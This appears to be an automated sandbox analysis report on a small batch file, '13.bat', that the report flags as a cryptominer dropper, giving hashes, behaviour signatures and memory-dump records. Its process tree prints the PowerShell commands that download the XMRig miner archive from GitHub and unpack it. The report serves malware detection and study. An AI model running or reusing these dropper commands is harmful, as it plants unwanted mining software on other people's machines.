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Analysis

  • max time kernel
    1560s
  • max time network
    1560s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    20/05/2024, 18:07

General

  • Target

    13.bat

  • Size

    599B

  • MD5

    798b979417aa88e5323ead9be2d8425c

  • SHA1

    a54c5133c71afddf697f302b36bdb930c72852ce

  • SHA256

    f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07

  • SHA512

    a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\13.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2748

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    442729957178127f04829a6c1d49e137

    SHA1

    9efe9486c46ca3684ec3467c6ba026b63bee696c

    SHA256

    5acd769bfefdc57af9ab67a0b23726aa51db755a2fbfe890ba98f53a8acaf8be

    SHA512

    ab3174dbeee6aed5e26e835a7d2070d96aa182cf34c9f3f60ee0438bb97b9d485431a9021fa12c31a56ff789d0f47be3778a455395f151d49ed39ec10436f2cd

  • memory/1732-4-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

    Filesize

    4KB

  • memory/1732-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

    Filesize

    2.9MB

  • memory/1732-8-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

    Filesize

    9.6MB

  • memory/1732-7-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

    Filesize

    9.6MB

  • memory/1732-6-0x00000000022C0000-0x00000000022C8000-memory.dmp

    Filesize

    32KB

  • memory/1732-9-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

    Filesize

    9.6MB

  • memory/1732-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

    Filesize

    9.6MB

  • memory/1732-11-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2748-17-0x000000001B620000-0x000000001B902000-memory.dmp

    Filesize

    2.9MB

  • memory/2748-18-0x0000000002760000-0x0000000002768000-memory.dmp

    Filesize

    32KB